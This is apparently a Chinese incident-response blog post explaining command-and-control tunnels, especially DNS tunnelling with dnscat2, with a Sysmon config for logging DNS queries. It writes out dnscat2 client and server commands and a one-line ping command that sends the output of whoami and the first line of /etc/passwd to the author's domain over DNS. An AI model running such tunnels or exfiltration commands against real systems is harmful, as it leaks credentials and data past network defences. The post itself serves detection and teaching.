安全应急之命令控制

Author Avatar
xF0rk 6月 14, 2019

命令控制隧道

命令控制 (C&C、CNC、Command & Control),受控机器(木马后门)与攻击者控制服务器通讯行为。受控机器通过一定的通道,从控制服务器获得指定的业务指令并执行恶意行为,例如上传从宿主机偷窃的到的信息、定时给感染机文件加密勒索等。

命令隧道

根据命令控制通道所使用的协议及实现方式不同,常见的类型如下所示

  • SSH 隧道(SSH 代理、端口转发),建立一个 SSH 通道,将相关数据包转发至目标机器
  • HTTP 命令隧道,将 TCP 流量数据包或控制命令数据封装到 HTTP 数据包中,相关测试工具有 reGeorgl
  • ICMP 命令隧道,将命令控制指令封装到 ICMP 数据包中,相关测试工具有 icmptunnel
  • DNS 命令隧道,将命令控制指令封装到 DNS 数据包中,相关测试工具有 dnscat2

下文将介绍 DNS 命令隧道分类、命令控制实践及 DNS 查询日志采集等

DNS 命令隧道

DNS 命令隧道,即利用 DNS 请求和响应来封装命令控制的指令数据,为能够读取所有子域名解析请求,并根据命令控制的需求响应指定的数据包,攻击者需控制某个域名的 NS 服务器。当 DNS 命令隧道在受控机器和控制服务器之间建立成功,其中间可能经过多个 NS 服务器(可能是内部的 NS 服务器,也可能是公共 NS 服务器)。根据受控机器与控制服务器 DNS 命令隧道建立及传输方式不同,可将 DNS 命令隧道分为 IP 型命令隧道与域名型命令隧道。

IP 型 DNS 命令隧道

IP 型 DNS 命令隧道,受控端与控制服务器 IP 直接通信,传输通信协议采用 DNS 协议。受控端通过 UDP Socket 套接字直接与控制服务器建立连接,其本质上是基于 UDP 服务的一个命令隧道。

IP 隧道本质

UDP Socket 通道会直接暴露控制服务器的 IP,若传输通道未严格封装 DNS 数据包,则可能会导致构造的数据包容易识别检测。

DNSCAT2 演示

使用 DNSCAT2 演示 DNS 命令隧道,在目标机器上通过火绒防火墙将除 DNS 53 端口外的所有流量包都拒绝,仅通过 DNS 协议在目标机器实现命令执行等操作。在 Wireshark 中可以看到相关 DNS 请求流量等,其 DNS 查询数据包均按照一定规则构造而成。

运行 ruby dnscat2.rb 命令,启动 Server 端应用,需注意 secret 为客户端连接时的认证密钥

运行 dnscat2.exe --dns server=x.x.x.x,port=53 --secret=xxxxxxxxx 命令,启动 Client 端应用,secret 需与 Server 端的一致

如下图所示,Server 端已经接收到 Client 端的连接,可直接构造 Session 通道

通过已成功构建的 Session,可直接执行命令,如下所示执行的命令为 whoami

DNS 隧道的通信数据包如下所示

DNSCAT2 完整演示视频如下所示

域名型 DNS 命令隧道

域名型 DNS 隧道,受控端与控制服务端通过 DNS 递归查询进行通讯,传输过程依赖于内网或外网 DNS 服务器的中继,由于 DNS 查询存在一定的缓存,所以需要确保用于构建域名型 DNS 命令隧道的 DNS 查询每次均不同,可在构造的查询的域名中引入时间戳或其他随机字符串,确保每次 DNS 查询均能发送至攻击者所控制的 NS 服务器。

DNS 递归解析

如上图所示,DNS 域名查询以层次迭代方式进行,每个 NS 服务器负责对应域名的解析,若 NS 服务器中不存在任何 DNS 缓存,当要查询域名 www.google.com 的 IP 地址时,本地 DNS 服务器一次完整的操作如下:

  • 终端计算机向本地 DNS 服务器查询 www.google.com 的 IP 地址,若本地 DNS 服务器没有 DNS 缓存,其将发起迭代查询以获得 IP 地址;
  • 本地 DNS 服务器向根域服务器发起查询 www.google.com 的 A 记录,全球 13 组根域名服务器负责对顶级域(TLD)的请求进行响应,若其不存在 www.google.com 的 A 记录,将向本地 DNS 服务器返回一条 NS 记录,指向 .com 域 NS 服务器的地址;
  • 本地 DNS 服务器向 .com 域 NS 服务器发起查询 www.google.com 的 A 记录,.com 域服务器向本地 DNS 服务器返回一条 NS 记录,指向 .google.com 域 NS 服务器地址;
  • 本地 DNS 服务器向 .google.com 域 NS 服务器发起 www.google.com 的 A 记录,由于 www.google.com位于 .google.com 的 DNS 数据库中,因此其将 www.google.com 的 IP 地址返回给本地 DNS 服务器;
  • 本地 DNS 服务器将获取的 IP 地址返回给终端计算机;

DNSLOG 演示

在测试机器执行如下图所示命令

ping `whoami`.`head -1 /etc/passwd`.xf0rk.space

xf0rk.space NS 服务器收到 root.root:x:0:0:root:/root:/bin/bash.xf0rk.space 查询

利用 DNS 查询行为,将执行目标命令的用户身份(whomai)及密码文件第一行(head -1 /etc/passwd) 数据信息传送到 NS 服务器,若 NS 服务器为恶意服务器,则可绕过边界防火墙设备,将数据成功传输至外网。

域名请求有效空间

命令隧道中所使用域名其所允许的字符最多为 253,并且不是所有的 253 个字符均可用于数据传输。假使攻击者维护 xf0rk.space NS 域名服务器,域名已占用 11 个字符,为构建命令隧道需要使用额外的字符 . 来分割子域名;为能够使用域名来传输数据,需要将待传输的数据编码,避免在即将使用的子域名中使用特殊字符,若采用十六进制编码,则所能用于传输数据的空间又缩小了一半;域名中被字符 . 所分割的内容称为标签,标签最大长度为 63,同时又只包含英文字符、数字、连字符。

      AAAA-----AAAA.AAAA-----AAAA.AAAA-----AAAA.AAAA-----AAAA.xf0rk.space
      |---- 49 ---|1|---- 63 ---|1|---- 63 ---|1|---- 63 ---|1|--  11 --|

如上所示,DNS 域名查询请求中能使用的有效空间为 49 + (3 * 63)= 238,若使用十六进制编码,在单个 DNS 查询请求中能使用 119 个字节空间大小,为了传输 1 M 数据,需要使用 8812 个 DNS 域名请求。

DNS 流量采集

在终端主机或服务器主机实时采集 DNS 流量日志,DNS 流量日志采集有多种方法,下文将介绍使用 SYSMON 工具来实时采集 DNS 查询日志。

SYSMON 工具采集

SYSMON 是一种 Windows 系统服务和设备驱动程序,当在目标系统安装后,在系统重新启动时保持驻留状态,以监视和记录活动到 Windows 时间日志中,其提供进程创建、网络连接、文件创建时间更改等信息;SYSMON 10 发布新增了 DNS 查询功能,允许 SYSMON 在受监视的系统上记录进程所执行的 DNS 查询日志。

从官网直接下载 Sysmon 10 工具 地址 ,编写 Sysmon 配置规则如下所示,其表示 Sysmon 过滤(EventFiltering)排除(exclude)匹配条件为空的 DNS 查询请求,即记录所有的 DNS 查询请求记录。

<Sysmon schemaversion="4.21">
  <EventFiltering>
    <DnsQuery onmatch="exclude"/>
  </EventFiltering>
</Sysmon>

通过如下命令,安装并启动 Sysmon,

通过 ping.exe 持续触发 1000 次 DNS 查询请求,如下图所示

打开目标机器的事件查看器,在应用程序和服务日志 /Microsoft/Windows/Sysmon/Operational 中可查看 Sysmon 采集的 DNS 查询日志,如下所示可知 ping.exe DNS 请求查询了 www.baidu.com 站点。

在 Sysmon 10 发布后数天之内,Twitter 就出现了如何规避 Sysmon 的文章 如何规避 Sysmon